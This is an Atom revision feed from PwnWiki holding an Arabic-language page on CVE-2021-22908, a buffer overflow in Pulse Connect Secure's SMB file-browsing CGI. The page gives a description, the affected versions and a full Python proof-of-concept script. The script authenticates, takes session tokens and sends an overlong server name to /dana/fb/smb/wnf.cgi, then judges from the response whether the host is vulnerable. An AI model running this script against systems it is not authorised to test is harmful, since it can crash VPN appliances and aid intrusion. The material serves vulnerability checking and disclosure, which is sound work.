<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-22908_Pulse_Connect_Secure_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Far</id>
	<title>CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/ar - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-22908_Pulse_Connect_Secure_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Far"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-22908_Pulse_Connect_Secure_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ar&amp;action=history"/>
	<updated>2026-04-06T22:00:17Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-22908_Pulse_Connect_Secure_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ar&amp;diff=4020&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;== وصف الثغرة ==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-22908_Pulse_Connect_Secure_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ar&amp;diff=4020&amp;oldid=prev"/>
		<updated>2021-06-04T02:17:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;== وصف الثغرة ==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
== وصف الثغرة ==&lt;br /&gt;
&lt;br /&gt;
نظرًا لأن PCS يدعم الاتصال بمشاركة ملفات Windows (SMB) ، يتم توفير الوظيفة بواسطة البرامج النصية CGI المستندة إلى مكتبات Samba 4.5.10 والتطبيقات المساعدة. عند تحديد اسم خادم طويل لعمليات SMB معينة ، قد يتعطل تطبيق smbclt بسبب تجاوز سعة المخزن المؤقت ، اعتمادًا على طول اسم الخادم المحدد.&lt;br /&gt;
&lt;br /&gt;
تم التأكد من أن نظام PCS 9.1R11.4 به هذه الثغرة الأمنية ، ونقطة نهاية CGI المستهدفة هي &amp;lt;code&amp;gt;/dana/fb/smb/wnf.cgi&amp;lt;/code&amp;gt;. قد تؤدي نقاط نهاية CGI الأخرى أيضًا إلى تشغيل هذه الثغرة الأمنية.&lt;br /&gt;
&lt;br /&gt;
إذا فشل المهاجم في التنظيف بعد نجاح استغلال هذه الثغرة الأمنية ، فقد يؤدي تحديد اسم خادم طويل إلى إدخالات سجل أحداث PCS التالية:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ولكن لاستغلال هذه الثغرة الأمنية ، يجب أن يكون لدى خادم PCS سياسة وصول إلى ملفات Windows تسمح بـ \\ * أو سياسة أخرى تسمح للمهاجمين بالاتصال بأي خادم. يمكنك عرض سياسة SMB الحالية من خلال عرض المستخدم-&amp;gt; سياسة الموارد-&amp;gt; سياسة الوصول إلى ملفات Windows في صفحة إدارة PCS. تستخدم أجهزة 9.1R2 وأجهزة PCS الأقدم السياسة الافتراضية للسماح بالاتصالات بأي مضيف SMB. بدءًا من 9.1R3 ، تم تغيير هذه السياسة من الإذن الافتراضي إلى الرفض الافتراضي.&lt;br /&gt;
&lt;br /&gt;
== نطاق التأثير ==&lt;br /&gt;
Pulse Connect Secure 9.0RX and 9.1RX&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
# Utility to check for Pulse Connect Secure CVE-2021-22908&lt;br /&gt;
# https://www.kb.cert.org/vuls/id/667933&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
import argparse&lt;br /&gt;
import sys&lt;br /&gt;
from html.parser import HTMLParser&lt;br /&gt;
import getpass&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')&lt;br /&gt;
parser.add_argument('host', type=str, help='PCS IP or hostname)')&lt;br /&gt;
parser.add_argument('-u', '--user', dest='user', type=str, help='username')&lt;br /&gt;
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')&lt;br /&gt;
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')&lt;br /&gt;
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')&lt;br /&gt;
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')&lt;br /&gt;
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')&lt;br /&gt;
&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
class formvaluefinder(HTMLParser):&lt;br /&gt;
    def __init__(self, searchval):&lt;br /&gt;
        super(type (self), self).__init__()&lt;br /&gt;
        self.searchval = searchval&lt;br /&gt;
    def handle_starttag(self, tag, attrs):&lt;br /&gt;
        if tag == 'input':&lt;br /&gt;
            # We're just looking for form &amp;lt;input&amp;gt; tags&lt;br /&gt;
            foundelement = False&lt;br /&gt;
            for attr in attrs:&lt;br /&gt;
                if(attr[0] == 'name'):&lt;br /&gt;
                    if(attr[1] == self.searchval):&lt;br /&gt;
                        foundelement = True&lt;br /&gt;
                elif(attr[0] == 'value' and foundelement == True):&lt;br /&gt;
                     self.data = attr[1]&lt;br /&gt;
&lt;br /&gt;
class preauthfinder(HTMLParser):&lt;br /&gt;
    foundelement = False&lt;br /&gt;
    def handle_starttag(self, tag, attrs):&lt;br /&gt;
        if tag == 'textarea':&lt;br /&gt;
            # We're just looking for &amp;lt;textarea&amp;gt; tags&lt;br /&gt;
            foundelement = False&lt;br /&gt;
            for attr in attrs:&lt;br /&gt;
                if(attr[0] == 'id'):&lt;br /&gt;
                    if(attr[1] == 'sn-preauth-text_2'):&lt;br /&gt;
                        self.foundelement = True&lt;br /&gt;
    def handle_data(self, data):&lt;br /&gt;
        if self.foundelement:&lt;br /&gt;
            self.data = data&lt;br /&gt;
            self.foundelement = False&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_realm(host, defaulturi):&lt;br /&gt;
    realm = None&lt;br /&gt;
    print('Getting default realm for %s...' % host)&lt;br /&gt;
    url = 'https://%s%s' % (host,defaulturi)&lt;br /&gt;
    res = None&lt;br /&gt;
    try:&lt;br /&gt;
        res = requests.get(url, verify=False, timeout=10)&lt;br /&gt;
    except requests.exceptions.ConnectionError:&lt;br /&gt;
        print('Error retrieving %s' % url)&lt;br /&gt;
&lt;br /&gt;
    if res:&lt;br /&gt;
        if res.status_code == 200:&lt;br /&gt;
            html = str(res.content)&lt;br /&gt;
            if 'sn-preauth-text_2' in html:&lt;br /&gt;
                print('Preauth required...')&lt;br /&gt;
                parser = preauthfinder()&lt;br /&gt;
                parser.feed(html)&lt;br /&gt;
                preauthtext = parser.data&lt;br /&gt;
                values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}&lt;br /&gt;
                res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
                if res.content:&lt;br /&gt;
                    parser = formvaluefinder('realm')&lt;br /&gt;
                    parser.feed(str(res.content))&lt;br /&gt;
                    realm = parser.data&lt;br /&gt;
                else:&lt;br /&gt;
                    print('Error retrieving login page')&lt;br /&gt;
&lt;br /&gt;
            else:&lt;br /&gt;
                parser = formvaluefinder('realm')&lt;br /&gt;
                parser.feed(html)&lt;br /&gt;
                realm = parser.data&lt;br /&gt;
    return realm&lt;br /&gt;
&lt;br /&gt;
def get_dsid(host, defaulturi, realm, user, password):&lt;br /&gt;
    dsid = None&lt;br /&gt;
    loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')&lt;br /&gt;
    url = 'https://%s%s' % (host,loginuri)&lt;br /&gt;
    values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}&lt;br /&gt;
    res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
    if 'confirm' in res.headers['location']:&lt;br /&gt;
        # Redirect to &amp;quot;user-confirm&amp;quot; that they still want to log in, despite already&lt;br /&gt;
        # having an active session&lt;br /&gt;
        print('User session is already active! Proceeding...')&lt;br /&gt;
        res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)&lt;br /&gt;
        parser = formvaluefinder('FormDataStr')&lt;br /&gt;
        parser.feed(str(res.content))&lt;br /&gt;
        formdata = parser.data&lt;br /&gt;
        values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}&lt;br /&gt;
        res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
        for cookie in res.cookies:&lt;br /&gt;
            if cookie.name == 'DSID':&lt;br /&gt;
                dsid = cookie.value&lt;br /&gt;
    elif 'cred' in res.headers['location']:&lt;br /&gt;
        # This is a pulse that requires 2FA&lt;br /&gt;
        res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
        for cookie in res.cookies:&lt;br /&gt;
            if cookie.name == 'id':&lt;br /&gt;
                key = cookie.value&lt;br /&gt;
        password2 = input('MFA code: ')&lt;br /&gt;
        values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}&lt;br /&gt;
        cookies = {'id': key, 'DSSigninNotif': '1'}&lt;br /&gt;
        res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
        if 'confirm' in res.headers['location']:&lt;br /&gt;
            # Redirect to &amp;quot;user-confirm&amp;quot; that they still want to log in, despite already&lt;br /&gt;
            # having an active session&lt;br /&gt;
            print('User session is already active! Proceeding...')&lt;br /&gt;
            res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)&lt;br /&gt;
            parser = formvaluefinder('FormDataStr')&lt;br /&gt;
            parser.feed(str(res.content))&lt;br /&gt;
            formdata = parser.data&lt;br /&gt;
            values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}&lt;br /&gt;
            res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
            for cookie in res.cookies:&lt;br /&gt;
                if cookie.name == 'DSID':&lt;br /&gt;
                    dsid = cookie.value&lt;br /&gt;
        else:&lt;br /&gt;
            for cookie in res.cookies:&lt;br /&gt;
                if cookie.name == 'DSID':&lt;br /&gt;
                    dsid = cookie.value&lt;br /&gt;
    elif 'failed' in res.headers['location']:&lt;br /&gt;
        print('Login failed!')&lt;br /&gt;
    else:&lt;br /&gt;
        # Login accepted&lt;br /&gt;
        for cookie in res.cookies:&lt;br /&gt;
            if cookie.name == 'DSID':&lt;br /&gt;
                dsid = cookie.value&lt;br /&gt;
&lt;br /&gt;
    return dsid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_xsauth(host, dsid):&lt;br /&gt;
    xsauth = None&lt;br /&gt;
    url = 'https://%s/dana/home/index.cgi' % host&lt;br /&gt;
    cookies = {'DSID':dsid}&lt;br /&gt;
    res = requests.get(url, verify=False, cookies=cookies, timeout=10)&lt;br /&gt;
    if 'xsauth' in str(res.content):&lt;br /&gt;
        parser = formvaluefinder('xsauth')&lt;br /&gt;
        parser.feed(str(res.content))&lt;br /&gt;
        xsauth = parser.data&lt;br /&gt;
    else:&lt;br /&gt;
        print('Cannot find xsauth string for provided DSID: %s' % dsid)&lt;br /&gt;
    return xsauth&lt;br /&gt;
&lt;br /&gt;
def trigger_vul(host, dsid, xsauth):&lt;br /&gt;
    url = 'https://%s/dana/fb/smb/wnf.cgi' % host&lt;br /&gt;
    values = {&lt;br /&gt;
        't': 's',&lt;br /&gt;
        'v': '%s,,' % ('A' * 1800),&lt;br /&gt;
        'dir': 'tmp',&lt;br /&gt;
        'si': None,&lt;br /&gt;
        'ri': None,&lt;br /&gt;
        'pi': None,&lt;br /&gt;
        'confirm': 'yes',&lt;br /&gt;
        'folder': 'tmp',&lt;br /&gt;
        'acttype': 'create',&lt;br /&gt;
        'xsauth': xsauth,&lt;br /&gt;
        'create': 'Create Folder',&lt;br /&gt;
        }&lt;br /&gt;
    cookies = {'DSID': dsid}&lt;br /&gt;
    try:&lt;br /&gt;
        res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)&lt;br /&gt;
        status = res.status_code&lt;br /&gt;
        if 'DSIDFormDataStr' in str(res.content):&lt;br /&gt;
            # We got page asking to confirm our action&lt;br /&gt;
            print('xsauth value was not accepted')&lt;br /&gt;
        else:&lt;br /&gt;
            if status == 200 and 'Error FB-8' in str(res.content):&lt;br /&gt;
                print('HTTP %s.  Windows File Access Policies prevents exploitation.' % status)&lt;br /&gt;
            elif status == 200:&lt;br /&gt;
                print('HTTP %s.  Not vulnerable.' % status)&lt;br /&gt;
            elif status == 403:&lt;br /&gt;
                print('HTTP %s.  XML workaround applied.' % status)&lt;br /&gt;
            elif status == 500:&lt;br /&gt;
                print('HTTP %s.  %s is vulnerable to CVE-2021-22908!' % (status, host))&lt;br /&gt;
            elif status == 302:&lt;br /&gt;
                print('HTTP %s.  Are you sure your DSID is valid?' % host)&lt;br /&gt;
            else:&lt;br /&gt;
                print('HTTP %s.  Not sure how to interpret this result.' % status)&lt;br /&gt;
    except requests.exceptions.ReadTimeout:&lt;br /&gt;
        print('No response from server. Try again...')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_default(host):&lt;br /&gt;
    url = 'https://%s' % host&lt;br /&gt;
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
    try:&lt;br /&gt;
        location = res.headers['location']&lt;br /&gt;
        if 'dana-na' not in location:&lt;br /&gt;
            print('%s does not seem to be a PCS host' % host)&lt;br /&gt;
            location = None&lt;br /&gt;
    except:&lt;br /&gt;
        pass&lt;br /&gt;
    return location&lt;br /&gt;
&lt;br /&gt;
def check_xml(host):&lt;br /&gt;
    url = 'https://%s/dana/meeting' % host&lt;br /&gt;
    #print('Checking status of %s ...' % url)&lt;br /&gt;
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
    if res.status_code == 403:&lt;br /&gt;
        print('Workaround-2104 appears to be installed')&lt;br /&gt;
    else:&lt;br /&gt;
        print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')&lt;br /&gt;
&lt;br /&gt;
    url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host&lt;br /&gt;
    #print('Checking status of %s ...' % url)&lt;br /&gt;
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)&lt;br /&gt;
    if res.status_code == 403:&lt;br /&gt;
        print('Workaround-2105 appears to be installed')&lt;br /&gt;
    else:&lt;br /&gt;
        print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
host = args.host&lt;br /&gt;
if args.noauth:&lt;br /&gt;
    check_xml(host)&lt;br /&gt;
else:&lt;br /&gt;
    defaulturi = get_default(host)&lt;br /&gt;
    if defaulturi:&lt;br /&gt;
&lt;br /&gt;
        if not args.realm:&lt;br /&gt;
            realm = get_realm(host, defaulturi)&lt;br /&gt;
        else:&lt;br /&gt;
            realm = args.realm&lt;br /&gt;
&lt;br /&gt;
        if realm:&lt;br /&gt;
            print('Realm: %s' % realm)&lt;br /&gt;
            if not args.user and not args.dsid:&lt;br /&gt;
                user = input('User: ')&lt;br /&gt;
            else:&lt;br /&gt;
                user = args.user&lt;br /&gt;
            if not args.password and not args.dsid:&lt;br /&gt;
                password = getpass.getpass()&lt;br /&gt;
            else:&lt;br /&gt;
                password = args.password&lt;br /&gt;
            if not args.dsid:&lt;br /&gt;
                dsid = get_dsid(host, defaulturi, realm, user, password)&lt;br /&gt;
                print('DSID: %s' % dsid)&lt;br /&gt;
            else:&lt;br /&gt;
                dsid = args.dsid&lt;br /&gt;
            if dsid:&lt;br /&gt;
                if not args.xsauth:&lt;br /&gt;
                    xsauth = get_xsauth(host, dsid)&lt;br /&gt;
                    print('xsauth: %s' % xsauth)&lt;br /&gt;
                else:&lt;br /&gt;
                    xsauth = args.xsauth&lt;br /&gt;
                if xsauth:&lt;br /&gt;
                    trigger_vul(host, dsid, xsauth)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== المرجع ==&lt;br /&gt;
https://short.pwnwiki.org/?c=1NiPen&lt;br /&gt;
&lt;br /&gt;
https://short.pwnwiki.org/?c=2Um6Rb&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>